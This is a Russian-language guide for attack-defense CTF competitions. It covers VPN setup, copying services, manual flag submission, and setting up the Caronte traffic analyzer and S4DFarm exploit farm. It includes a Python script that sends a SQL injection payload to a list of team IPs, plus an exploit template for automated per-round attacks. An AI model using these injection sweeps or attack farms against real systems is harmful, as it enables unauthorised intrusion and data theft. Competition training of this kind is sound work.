Подключение к VPN

После того, как капитан раздаст вам конфиги для подключения, необходимо подключиться к сети соревнования.

Про подключение к сети рассказано в VPN

Скопировать сервисы с машинки себе на компьютер

Упаковать все папки с сервисами в архив

tar -czf services.tar.gz <service1_folder> <service2_folder> <service3_folder> 

Узнать текущую директорию

pwd

Скопировать архив с машинки на хост в текущую директорию

scp <user>@<vulnbox_ip>:/path/to/services.tar.gz .

Пример простого сплойта

Заметим, что данный сплоит не может быть использован на ферме в виду отсутствия некоторых элементов. Что такое ферма, зачем она нужна и как правильно писать сплоит расскано ниже.

import requests
import sys
 
ip_list = [ "10.250.1.2", "10.250.2.2", "10.250.3.2", "10.250.4.2", "10.250.5.2", "10.250.6.2", "10.250.7.2", "10.250.8.2", "10.250.9.2", "10.250.10.2" ]
port = 8002
 
with requests.Session() as s:
	for ip in ip_list:
		url = "http://" + str(ip) + ":" + str(port) 
		r = s.post(url+"/search/",data={"search": "search=' or 1=1 --"})
		print(r.text)

Ручная отправка флага на журейку

Пример на curl

curl -s \
  -H 'X-Team-Token: <token>' \
  -X PUT \
  -d '["<flag_1>", "<flag_2>", "<flag_3>"]' \
  http://<checksystem_ip>/flags

Пример python

import requests
 
url = "http://10.250.3.2/flags"
headers = {"X-Team-Token": "<team_token>"}
data = '["<flag_1>","<flag_1>","<flag_1>"]'
 
response = requests.put(url, headers=headers, data=data)
print(response.text)

Автоматизация

Анализатор трафика

Анализатор трафика — это инструмент для перехвата, анализа и изучения сетевых данных, которые проходят через инфраструктуру соревнования. С помощью него вы можете видеть, как другие команды вас атакуют, как происходит взаимодействие с сервисом и т.д.

git clone https://github.com/eciavatta/caronte
cd caronte
docker compose up -d
  • После поднятия контейнера настроить IP вашего бокса, regex флага, и опционально аутентификацию (если запускаете на самой машинке).
  • Добавить названия сервисов, их порты и цвета для обозначения
  • Начать генерацию pcap файлов с помощью tcpdump -i $interface -G 10 -w ./pcaps/pcap_%Y%m%d_%H%M%S.pcap -Z root
  • Настроить отправку трафика на caronte с помощью скрипта feedCaronte.sh, лежащего в папке caronte/scripts/ (если используете аутентификацию, в curl не забудьте добавить заголовок Authorization для использования HTTP Basic авторизации -H “Authorization: Basic CREDENTIALS”, где CREDENTIALS - строка login:password, преобразованная в base64)

Ферма

Всю информацию о назначении фермы и т.д. можно прочитать тут

git clone https://github.com/C4T-BuT-S4D/S4DFarm
cd S4DFarm
vim server/app/config.py # Необходимо настроить IP range команд для атаки, выбрать протокол, используемый на соревновании, указать endpoint для сдачи флагов, токен команды, и задать пароль на ферму.
docker compose up -d # Если не билдится, замените в server/docker/front/Dockerfile параметр --frozen-lockfile на --no-frozen-lockfile

Запуск сплоита

Все сплоиты должны запускаться с помощью скрипта start_sploit.py, лежащего в папке client фермы. Каждый раунд он будет автоматически атаковать все команды, которые были добавлены в ферму, и отправлять флаги на ферму для сдачи на журейную систему. При запуске минимум необходимо указать адрес фермы, пароль от нее и файл сплойта для запуска. Обычно для запуска таким образом можно запустить tmux сессию, в которой будет происходить запуск сплоита.

python3 start_sploit.py --server-url http://<farm_ip>:<farm_port> --server-pass <server_password> <sploit_name.py>

Шаблон сплоита для запуска

Сплоит обязательно должен содержать shebang (строка 1), получать первым агрументом IP адрес команды, которую нужно атаковать, и выводить информацию с аргументом flush=True. Вывод сплойта фильтровать не обязательно, ферма сама будет матчить по regex флага. Чуть более подробно про формат сплоита написано тут

#!/usr/bin/env python3
 
import sys
 
host = sys.argv[1] # 1 аргумент - ip адрес команды, которая будет атакована
 
#
# Основная часть сплойта, тут происходит вся магия
# 
 
print(flag, flush=True) # параметр flush. Без него часть флагов может быть потеряна.